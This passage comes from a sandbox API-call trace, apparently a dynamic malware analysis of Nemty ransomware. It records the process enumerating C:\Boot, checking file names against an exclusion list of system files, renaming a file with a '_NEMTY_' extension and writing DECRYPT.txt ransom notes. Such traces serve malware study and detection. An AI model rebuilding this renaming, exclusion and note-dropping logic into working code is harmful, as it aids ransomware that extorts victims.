lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.238] CloseHandle (hObject=0xffffffff) returned 0 [0045.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0045.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.239] MoveFileW (lpExistingFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.239] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce979570, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce979570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce979570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0045.239] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0045.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0045.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0045.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0045.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0045.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0045.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0045.240] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.240] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.241] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce979570, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce979570, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce979570, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0045.241] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0045.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.241] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2=".") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="..") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="...") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="windows") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="$RECYCLE.BIN") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="rsa") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="NTDETECT.COM") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="ntldr") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="MSDOS.SYS") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="IO.SYS") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="boot.ini") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="boot.ini") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="AUTOEXEC.BAT") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="ntuser.dat") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="desktop.ini") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="CONFIG.SYS") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="RECYCLER") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="BOOTSECT.BAK") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="bootmgr") returned 1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="programdata") returned -1 [0045.241] lstrcmpiW (lpString1="memtest.exe", lpString2="appdata") returned 1 [0045.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x653f8d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe", lpUsedDefaultChar=0x0) returned 11 [0045.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x653f8d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe", lpUsedDefaultChar=0x0) returned 11 [0045.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x653f920, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe", lpUsedDefaultChar=0x0) returned 11 [0045.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe", cchWideChar=11, lpMultiByteStr=0x653f958, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe", lpUsedDefaultChar=0x0) returned 11 [0045.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.242] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2=".") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="..") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="...") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="windows") returned -1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="$RECYCLE.BIN") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="rsa") returned -1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="NTDETECT.COM") returned -1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="ntldr") returned -1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="MSDOS.SYS") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="IO.SYS") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="boot.ini") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="boot.ini") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="AUTOEXEC.BAT") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="ntuser.dat") returned -1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="desktop.ini") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="CONFIG.SYS") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="RECYCLER") returned -1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="BOOTSECT.BAK") returned 1 [0045.242] lstrcmpiW (lpString1="nb-NO", lpString2="bootmgr") returned 1 [0045.243] lstrcmpiW (lpString1="nb-NO", lpString2="programdata") returned -1 [0045.243] lstrcmpiW (lpString1="nb-NO", lpString2="appdata") returned 1 [0045.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb-NO", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb-NO", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nb-NO", lpUsedDefaultChar=0x0) returned 5 [0045.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb-NO", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nb-NO", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nb-NO", lpUsedDefaultChar=0x0) returned 5 [0045.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.243] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\nb-no\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.244] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.244] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0045.244] CloseHandle (hObject=0x3c0) returned 1 [0045.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.245] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\nb-no\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.246] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.246] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, 